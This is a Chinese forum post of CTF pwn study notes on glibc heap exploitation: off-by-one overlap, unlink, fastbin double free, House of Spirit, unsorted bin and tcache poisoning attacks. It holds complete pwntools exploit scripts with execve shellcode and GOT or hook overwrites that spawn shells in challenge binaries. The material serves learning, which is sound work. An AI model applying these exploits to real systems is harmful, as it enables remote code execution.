-
-
[分享]pwn部分简单堆利用记录
-
2021-10-22 18:57 20228
-
记录内容借鉴来源https://www.yuque.com/cyberangel/rg9gdm/vsh3kd
OFF-BY-ONE——overlap/extend
溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)
可以造成堆重叠的效果这里就联合overlap,extend一起记录
1.对insure的fastbin chunk的extend
demo
1 2 3 4 5 6 7 8 9 10 11 | / / gcc - g test1.c - o test1 #include<stdio.h> int main(void){ void * p, * q; p = malloc( 0x10 ); / / 分配第一个 0x10 的chunk malloc( 0x10 ); / / 分配第二个 0x10 的chunk * ( long long * )(( long long )p - 0x8 ) = 0x41 ; / / 修改第一个块的size域 free(p); q = malloc( 0x30 ); / / 实现extend,控制了第二个块的内容 return 0 ; } |
2.对 inuse 的 smallbin 进行 extend
demo
1 2 3 4 5 6 7 8 9 10 11 12 | / / gcc - g test2.c - o test2 #include<stdio.h> int main() {首先在第 9 行下断点b 9 ,我们看一下申请完三个chunk之后内存中的样子: void * p, * q; p = malloc( 0x80 ); / / 分配第一个 0x80 的chunk1 malloc( 0x10 ); / / 分配第二个 0x10 的chunk2 malloc( 0x10 ); / / 防止与top chunk合并 * ( long * )(( long )p - 0x8 ) = 0xb1 ; free(p); q = malloc( 0xa0 ); } |
3.对 free 的 smallbin 进行 extend
demo
1 2 3 4 5 6 7 8 9 10 11 | / / gcc - g test3 - o test3 #include<stdio.h> int main() { void * p, * q; p = malloc( 0x80 ); / / 分配第一个 0x80 的chunk1 malloc( 0x10 ); / / 分配第二个 0x10 的chunk2 free(p); / / 首先进行释放,使得chunk1进入unsorted bin * ( long * )(( long )p - 0x8 ) = 0xb1 ; q = malloc( 0xa0 ); } |
4.通过 extend 后向 overlapping
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 | / / gcc - g test4.c - o test4 #include<stdio.h> int main() { void * p, * q; p = malloc( 0x80 ); / / 分配第 1 个 0x80 的chunk1 malloc( 0x10 ); / / 分配第 2 个 0x10 的chunk2 malloc( 0x10 ); / / 分配第 3 个 0x10 的chunk3 malloc( 0x10 ); / / 分配第 4 个 0x10 的chunk4 * ( long * )(( long )p - 0x8 ) = 0x61 ; free(p); q = malloc( 0x50 ); } |
5.通过 extend 前向 overlapping
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | / / gcc - g test5.c - o test5 #include<stdio.h> int main(void) { void * p, * q, * r, * t; p = malloc( 128 ); / / smallbin1 q = malloc( 0x10 ); / / fastbin1 r = malloc( 0x10 ); / / fastbin2 t = malloc( 128 ); / / smallbin2 malloc( 0x10 ); / / 防止与top合并 free(p); * ( int * )(( long long )t - 0x8 ) = 0x90 ; / / 修改pre_inuse域 * ( int * )(( long long )t - 0x10 ) = 0xd0 ; / / 修改pre_size域 free(t); / / unlink进行前向extend malloc( 0x150 ); / / 占位块 } |
以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk
就可以控制pre_size同时配合off漏洞控制insure。
典例
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13
off by one 漏洞
题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效
指针指向内容chunk,
我们利用off by one构造overlap形成堆复用,控制有效指针
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from pwn import * context(log_level = 'DEBUG' ) p = process( './heapcreator' ) heap = ELF( './heapcreator' ) libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' ) def create(size, content): p.recvuntil( ":" ) p.sendline( "1" ) p.recvuntil( ":" ) p.sendline( str (size)) p.recvuntil( ":" ) p.sendline(content) def edit(idx, content): p.recvuntil( ":" ) p.sendline( "2" ) p.recvuntil( ":" ) p.sendline( str (idx)) p.recvuntil( ":" ) p.sendline(content) def show(idx): p.recvuntil( ":" ) p.sendline( "3" ) p.recvuntil( ":" ) p.sendline( str (idx)) def delete(idx): p.recvuntil( ":" ) p.sendline( "4" ) p.recvuntil( ":" ) p.sendline( str (idx)) create( 0x18 , "hollk" ) create( 0x10 , "hollk" ) edit( 0 , "/bin/sh\x00" + "a" * 0x10 + "\x41" ) delete( 1 ) create( 0x30 , p64( 0 ) * 3 + p64( 0x21 ) + p64( 0x30 ) + p64(heap.got[ 'free' ])) show( 1 ) p.recvuntil( "Content : " ) data = p.recvuntil( "Done !" ) free_addr = u64(data.split( "\n" )[ 0 ].ljust( 8 , "\x00" )) libc_base = free_addr - libc.symbols[ 'free' ] log.success( 'libc base addr: ' + hex (libc_base)) system_addr = libc_base + libc.symbols[ 'system' ] edit( 1 , p64(system_addr)) #gdb.attach(p) delete( 0 ) #gdb.attach(p) p.interactive() |
UAF
由于free后未置空指针,导致的use after free
亦或是,因为在heaparry中含有free or not的标识,但是功能中
含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)
由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用
附件下载:
链接:https://pan.baidu.com/s/19StzpwizVbeyNEcY48XcFQ
提取码:oqlh
unsortedbin的unlink(基础)
unlink的公式如下
fd=point_addr-0x18
bk=point_addr-0x10
伪造chunk成功后会在下两次申请到的chunk申请到point_addr
以2014 HITCON stkof为例进行讲解:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
参考资料:
https://blog.csdn.net/qq_41202237/article/details/108481889 #主要思路
https://wzt.ac.cn/2018/10/16/s-pwn-project-4/ #payload来源
感谢@hollk师傅的文章
附件下载:
链接:https://pan.baidu.com/s/1tXTaLajFHdKB0Ofxnk8V4Q
提取码:z4p6
题目本身在edit的时候存在堆溢出,但是没有show所以需要构造
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from pwn import * context.terminal = [ 'gnome-terminal' , '-x' , 'sh' , '-c' ] if args[ 'DEBUG' ]: context.log_level = 'debug' context.binary = "./stkof" stkof = ELF( './stkof' ) if args[ 'REMOTE' ]: p = remote( '127.0.0.1' , 7777 ) else : p = process( "./stkof" ) log.info( 'PID: ' + str (proc.pidof(p)[ 0 ])) libc = ELF( './libc.so.6' ) head = 0x602140 def alloc(size): p.sendline( '1' ) p.sendline( str (size)) p.recvuntil( 'OK\n' ) def edit(idx, size, content): p.sendline( '2' ) p.sendline( str (idx)) p.sendline( str (size)) p.send(content) p.recvuntil( 'OK\n' ) def free(idx): p.sendline( '3' ) p.sendline( str (idx)) def exp(): # trigger to malloc buffer for io function alloc( 0x100 ) # idx 1 alloc( 0x30 ) # idx 2 # small chunk size inorder to trigger unlink alloc( 0x80 ) # idx 3 # a fake chunk at global[2]=head+16 who's size is 0x20 payload = p64( 0 ) #prev_size payload + = p64( 0x20 ) #size payload + = p64(head + 16 - 0x18 ) #fd payload + = p64(head + 16 - 0x10 ) #bk payload + = p64( 0x20 ) # next chunk's prev_size bypass the check payload = payload.ljust( 0x30 , 'a' ) # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at global[2] payload + = p64( 0x30 ) # make it believe that prev chunk is free payload + = p64( 0x90 ) edit( 2 , len (payload), payload) # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8 free( 3 ) p.recvuntil( 'OK\n' ) #gdb.attach(p) # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got payload = 'a' * 8 + p64(stkof.got[ 'free' ]) + p64(stkof.got[ 'puts' ]) + p64( stkof.got[ 'atoi' ]) edit( 2 , len (payload), payload) # edit free@got to puts@plt payload = p64(stkof.plt[ 'puts' ]) edit( 0 , len (payload), payload) #free global[1] to leak puts addr free( 1 ) puts_addr = p.recvuntil( '\nOK\n' , drop = True ).ljust( 8 , '\x00' ) puts_addr = u64(puts_addr) log.success( 'puts addr: ' + hex (puts_addr)) libc_base = puts_addr - libc.symbols[ 'puts' ] binsh_addr = libc_base + next (libc.search( '/bin/sh' )) system_addr = libc_base + libc.symbols[ 'system' ] log.success( 'libc base: ' + hex (libc_base)) log.success( '/bin/sh addr: ' + hex (binsh_addr)) log.success( 'system addr: ' + hex (system_addr)) # modify atoi@got to system addr payload = p64(system_addr) edit( 2 , len (payload), payload) p.send(p64(binsh_addr)) p.interactive() if __name__ = = "__main__" : exp() |
fastbin_attack中的fastbin_double_free
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include<stdio.h> typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK, * PCHUNK; CHUNK bss_chunk; int main() { void * chunk1, * chunk2, * chunk3; void * chunk_a, * chunk_b; bss_chunk.size = 0x21 ; chunk1 = malloc( 0x10 ); chunk2 = malloc( 0x10 ); free(chunk1); free(chunk2); free(chunk1); chunk_a = malloc( 0x10 ); * ( long long * )chunk_a = &bss_chunk; malloc( 0x10 ); malloc( 0x10 ); chunk_b = malloc( 0x10 ); printf( "%p\n" ,chunk_b); return 0 ; } |
典例
以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:https://github.com/mhzx020/Redirect
参考资料:https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
附件下载:
链接:https://pan.baidu.com/s/1pBxc_-8pqJr9MRlA2AvxHQ
提取码:2onz
简单题,给了后门,更改got表为后门地址,利用double更改指针就行了
epx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import * context(os = 'linux' ,arch = 'amd64' ,log_level = 'debug' ) myelf = ELF( "./paper" ) io = process(myelf.path) def add_paper(num, index, content): io.recv() io.sendline( "1" ) io.recv() io.sendline( str (index)) io.recv() io.sendline( str (num)) io.recv() io.sendline(content) def del_paper(index): io.recv() io.sendline( "2" ) io.recv() io.sendline( str (index)) add_paper( 0x30 , 1 , "1" ) add_paper( 0x30 , 2 , "1" ) #gdb.attach(io) del_paper( 1 ) del_paper( 2 ) del_paper( 1 ) #gdb.attach(io) add_paper( 0x30 , 1 , p64( 0x60202a )) #chunk1 #gdb.attach(io) add_paper( 0x30 , 1 , "1" ) #gdb.attach(io) add_paper( 0x30 , 1 , "1" ) #gdb.attach(io) add_paper( 0x30 , 1 , "\x40\x00\x00\x00\x00\x00" + p64(myelf.symbols[ "gg" ])) #0x60202a_chunk #gdb.attach(io) io.recv() io.sendline( "a" ) #gdb.attach(io) io.interactive() |
fastbin_attack中的House of Spirit
利用思路
1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。
典例
lctf2016_pwn200 https://gitee.com/LightInfection/ctf/tree/master
exp
在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp
我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode
非常好的一道堆栈结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #encoding:utf-8 from pwn import * #r = remote('127.0.0.1', 6666) p = process( "./pwn200" ) shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" def pwn(): # gdb.attach(p, "b *0x400991") data = shellcode.ljust( 46 , 'a' ) data + = 'bb' p.send(data) p.recvuntil( 'bb' ) rbp_addr = p.recvuntil( ', w' )[: - 3 ] rbp_addr = u64(rbp_addr.ljust( 8 , '\x00' )) print hex (rbp_addr) fake_addr = rbp_addr - 0x90 shellcode_addr = rbp_addr - 0x50 # 输入id伪造下一个堆块的size p.recvuntil( 'id ~~?' ) p.sendline( '32' ) p.recvuntil( 'money~' ) data = p64( 0 ) * 5 + p64( 0x41 ) # 伪造堆块的size data = data.ljust( 0x38 , '\x00' ) + p64(fake_addr) # 覆盖堆指针 p.send(data) p.recvuntil( 'choice : ' ) p.sendline( '2' ) # 释放伪堆块进入fastbin p.recvuntil( 'choice : ' ) p.sendline( '1' ) p.recvuntil( 'long?' ) p.sendline( '48' ) p.recvuntil( '\n48\n' ) # 将伪堆块申请出来 data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址 data = data.ljust( 48 , '\x00' ) p.send(data) p.recvuntil( 'choice : ' ) p.sendline( '3' ) # 退出返回时回去执行shellcode p.interactive() if __name__ = = '__main__' : pwn() |
fastbin_attack中的Alloc to Stack
参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/#alloc-to-stack
https://xz.aliyun.com/t/7490
附件下载:
链接: https://pan.baidu.com/s/1dplP_JkSdl9M7F9sUEDVeQ 密码: mbht
--来自百度网盘超级会员V3的分享
fastbin_attack中的Arbitrary Alloc
参考资料:
https://wiki.x10sec.org/pwn/heap/fastbin_attack/#arbitrary-alloc
附件:
链接: https://pan.baidu.com/s/18qfkOMauvySSfHkSLjIvvQ 密码: 911k
--来自百度网盘超级会员V3的分享
典例
fastbin_attack中的Arbitrary Alloc(例题)
题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化
附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
--来自百度网盘超级会员V3的分享
漏洞在edit存在堆溢出,堆溢出,打fastbin
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | from pwn import * r = process( './babyheap_0ctf_2017' ) context.log_level = 'debug' libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' ) def add(size): r.recv() r.sendline( str ( 1 )) r.recv() r.sendline( str (size)) def fill(idx,con): r.recv() r.sendline( str ( 2 )) r.recv() r.sendline( str (idx)) r.recv() r.sendline( str ( len (con))) r.recv() r.send( str (con)) def show(idx): r.recv() r.sendline( str ( 4 )) r.recv() r.sendline( str (idx)) def dele(idx): r.recv() r.sendline( str ( 3 )) r.recv() r.sendline( str (idx)) add( 0x10 ) #0 add( 0x10 ) #1 add( 0x10 ) #2 add( 0x10 ) #3 add( 0x80 ) #4 dele( 1 ) dele( 2 ) payload = p64( 0 ) * 3 + p64( 0x21 ) + p64( 0 ) * 3 + p64( 0x21 ) + p8( 0x80 ) fill( 0 ,payload) payload = p64( 0 ) * 3 + p64( 0x21 ) fill( 3 ,payload) add( 0x10 ) add( 0x10 ) payload = p64( 0 ) * 3 + p64( 0x91 ) fill( 3 ,payload) add( 0x80 ) #overlap dele( 4 ) show( 2 ) r.recvuntil( 'Content: \n' ) leak = u64(r.recv( 6 ).ljust( 8 , '\x00' )) log.info( "leak" + hex (leak)) base = leak - 0x3c4b78 sys = base + libc.sym[ "system" ] binsh = base + libc.search( "/bin/sh\x00" ). next () free = base + libc.sym[ "__free_hook" ] malloc = base + libc.sym[ '__malloc_hook' ] #gdb.attach(r) add( 0x60 ) #gdb.attach(r) dele( 4 ) #gdb.attach(r) fill( 2 ,p64(malloc - 0x23 )) #gdb.attach(r) add( 0x60 ) #index4 add( 0x60 ) #index6 payload = p8( 0 ) * 3 payload + = p64( 0 ) * 2 payload + = p64(base + 0x4527a ) fill( 6 , payload) add( 0x255 ) #gdb.attach(r) r.interactive() |
unsortedbin_attack
题目来源:HITCON Training lab14 magic heap
附件:
链接: https://pan.baidu.com/s/1xtxgobatE9yWFKkEsL6JLg 密码: 44km
--来自百度网盘超级会员V3的分享
白给题堆溢出,没开PIE直接打unsortedbin改bk
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' r = process( './magicheap' ) def create_heap(size, content): r.recvuntil( ":" ) r.sendline( "1" ) r.recvuntil( ":" ) r.sendline( str (size)) r.recvuntil( ":" ) r.sendline(content) def edit_heap(idx, size, content): r.recvuntil( ":" ) r.sendline( "2" ) r.recvuntil( ":" ) r.sendline( str (idx)) r.recvuntil( ":" ) r.sendline( str (size)) r.recvuntil( ":" ) r.sendline(content) def del_heap(idx): r.recvuntil( ":" ) r.sendline( "3" ) r.recvuntil( ":" ) r.sendline( str (idx)) create_heap( 0x20 , "1111" ) # 0 size=0x20=32 create_heap( 0x80 , "2222" ) # 1 size=0x80=128 # in order not to merge into top chunk create_heap( 0x20 , "3333" ) # 2 #gdb.attach(r) del_heap( 1 ) #gdb.attach(r) magic = 0x6020c0 fd = 0 bk = magic - 0x10 edit_heap( 0 , 0x20 + 0x20 , "a" * 0x20 + p64( 0 ) + p64( 0x91 ) + p64(fd) + p64(bk)) #gdb.attach(r) create_heap( 0x80 , "4444" ) #trigger unsorted bin attack #gdb.attach(r) r.recvuntil( ":" ) r.sendline( "4869" ) r.interactive() |
Tcache Attack中的Tcache Poisoning
tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | / / gcc - g - fno - stack - protector - z execstack - no - pie - z norelro test.c - o test #include <stdio.h> #include <stdlib.h> #include <stdint.h> int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); size_t stack_var; printf( "定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n" , (char * )&stack_var); printf( "接下来申请两个 chunk\n" ); intptr_t * a = malloc( 128 ); printf( "chunk a 在: %p\n" , a); intptr_t * b = malloc( 128 ); printf( "chunk b 在: %p\n" , b); printf( "free 掉这两个 chunk\n" ); free(a); free(b); printf( "现在 tcache 那个链表是这样的 [ %p -> %p ].\n" , b, a); printf( "我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p" , b, sizeof(intptr_t), &stack_var); b[ 0 ] = (intptr_t)&stack_var; printf( "现在 tcache 链表是这样的 [ %p -> %p ].\n" , b, &stack_var); printf( "然后一次 malloc : %p\n" , malloc( 128 )); printf( "现在 tcache 链表是这样的 [ %p ].\n" , &stack_var); intptr_t * c = malloc( 128 ); printf( "第二次 malloc: %p\n" , c); printf( "Finish!\n" ); return 0 ; } |
典例
参考资料:
https://faraz.faith/2019-10-20-secconctf-2019-one/
https://github.com/SECCON/SECCON2019_online_CTF
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:https://pan.baidu.com/s/1nDee9BZ1RMhl3bfjHPSjsA 密码: 8qjs
--来自百度网盘超级会员V3的分享
题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok
直接改fd控制unsortedbin泄露libc打free_hook
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | #!/usr/bin/env python2 from pwn import * #context.log_level = 'debug' BINARY = './one' HOST, PORT = 'one.chal.seccon.jp' , 18357 elf = ELF(BINARY) libc = ELF( './glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6' ) def start(): if not args.REMOTE: #print "LOCAL PROCESS" return process(BINARY) else : #print "REMOTE PROCESS" return remote(HOST, PORT) def get_base_address(proc): return int ( open ( "/proc/{}/maps" . format (proc.pid), 'rb' ).readlines()[ 0 ].split( '-' )[ 0 ], 16 ) def debug(breakpoints): script = "handle SIGALRM ignore\n" PIE = get_base_address(p) script + = "set $_base = 0x{:x}\n" . format (PIE) for bp in breakpoints: script + = "b *0x%x\n" % (PIE + bp) gdb.attach(p,gdbscript = script) def add(content): p.sendlineafter( '> ' , '1' ) p.sendlineafter( '> ' , content) def show(): p.sendlineafter( '> ' , '2' ) def free(): p.sendlineafter( '> ' , '3' ) #context.terminal = ['tmux', 'new-window'] p = start() if args.GDB: debug([]) # ----------- Heap Leak ------------ # Prepare add( 'A' * 0x3e ) # We do four frees to set the 0x40 tcache bin count to 4 for i in range ( 4 ): free() #gdb.attach(p) # Leak the fourth chunk's address on the heap show() heap_leak = u64(p.recvline().strip(b '\n' ).ljust( 8 , b '\x00' )) log.info( 'Heap leak: ' + hex (heap_leak)) # ----------- Libc Leak ------------ # Empty the 0x40 tcache bin first add(p64( 0 ) + b 'A' * 8 ) # Set FD to null here add( 'A' * 8 ) # 0x40 tcache bin now empty # Note that after the above, the 0x40 tcache bin will have count = 2 # Create four chunks to prep for libc leak # Make all of them have fake chunks in them with PREV_INUSE bits set # And make all of them have valid FD pointers as well add(p64( 0 ) + p64( 0x91 ) + (p64(heap_leak) + p64( 0 )) ) for i in range ( 4 ): add(p64( 0 ) * 4 ) #gdb.attach(p) # Double free the last chunk free() # count = 3 #gdb.attach(p) free() # count = 4 #gdb.attach(p) # Set FD to one of the fake 0x91 chunks add(p64(heap_leak + 0x60 )) # count = 3 #gdb.attach(p) #gdb.attach(p) add( 'A' * 8 ) # count = 2 #gdb.attach(p) add( 'A' * 8 ) # Got a 0x91 chunk, count = 1 #gdb.attach(p) # Free 7 times to fill up tcache bin, 8th one goes into unsorted bin for i in range ( 8 ): free() # Unsorted bin libc leak show() leak = u64(p.recvline().strip(b '\n' ).ljust( 8 , b '\x00' )) libc.address = leak - 0x3ebca0 # Offset found using gdb free_hook = libc.symbols[ '__free_hook' ] system = libc.symbols[ 'system' ] log.info( 'Libc leak: ' + hex (leak)) log.info( 'Libc base: ' + hex (libc.address)) log.info( '__free_hook: ' + hex (free_hook)) log.info( 'system: ' + hex (system)) # Tcache poisoning attack to overwrite __free_hook with system add( 'A' * 8 ) # count = 0 free() free() # Overwrite __free_hook with system add(p64(free_hook)) add(p64(free_hook)) #add(p64(system)) one_gadget = [ 0x4f365 , 0x4f3c2 , 0x10a45c ] payload = one_gadget[ 1 ] + libc.address add(p64(payload)) # Call system("/bin/sh\x00") #add('/bin/sh\x00') free() p.interactive() |
Tcache Attack中的tcache_perthread_struct
参考资料:
https://www.cnblogs.com/Theffth-blog/p/12790720.html
https://blog.csdn.net/weixin_43833642/article/details/107166551
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:https://pan.baidu.com/s/1T1pV_mbUEPXCg-vlu_Yw7w 密码: 5fnk
--来自百度网盘超级会员V3的分享
chunk大小小于0x100
UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | #! /usr/bin/env python from pwn import * p = process( './vn_pwn_easyTHeap' ) #p = remote('node3.buuoj.cn', 25389) elf = ELF( './vn_pwn_easyTHeap' ) libc = ELF( './glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6' ) def new(size): p.sendlineafter( 'choice: ' , '1' ) p.sendlineafter( 'size?' , str (size)) def edit(index, content): p.sendlineafter( 'choice: ' , '2' ) p.sendlineafter( 'idx?' , str (index)) p.sendlineafter( 'content:' , content) def show(index): p.sendlineafter( 'choice: ' , '3' ) p.sendlineafter( 'idx?' , str (index)) def delete(index): p.sendlineafter( 'choice: ' , '4' ) p.sendlineafter( 'idx?' , str (index)) new( 0x50 ) #0 delete( 0 ) delete( 0 ) show( 0 ) heap_base = u64(p.recvuntil(b '\n' , drop = True ).ljust( 8 , b '\x00' )) #print hex(heap_base) new( 0x50 ) #1 edit( 1 , p64(heap_base - 0x250 )) new( 0x50 ) #2 new( 0x50 ) #3 edit( 3 , 'a' * 0x28 ) gdb.attach(p) delete( 3 ) show( 3 ) libc_base = u64(p.recvuntil(b '\n' , drop = True ).ljust( 8 , b '\x00' )) - 0x3ebca0 #print hex(libc_base) malloc_hook = libc_base + libc.sym[ '__malloc_hook' ] realloc = libc_base + libc.sym[ '__libc_realloc' ] one_gadget = [ 0x4f365 , 0x4f3c2 , 0x10a45c ] one = libc_base + one_gadget[ 2 ] new( 0x50 ) edit( 4 , b 'b' * 0x48 + p64(malloc_hook - 0x13 )) new( 0x20 ) edit( 5 , b '\x00' * ( 0x13 - 0x8 ) + p64(one) + p64(realloc + 8 )) new( 0x10 ) p.interactive() |
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
|
|
---|---|
|
兄弟有祥云杯2021升级密码箱这道题吗?有的话麻烦发到我qq邮箱谢谢:wait_3344@qq.com
|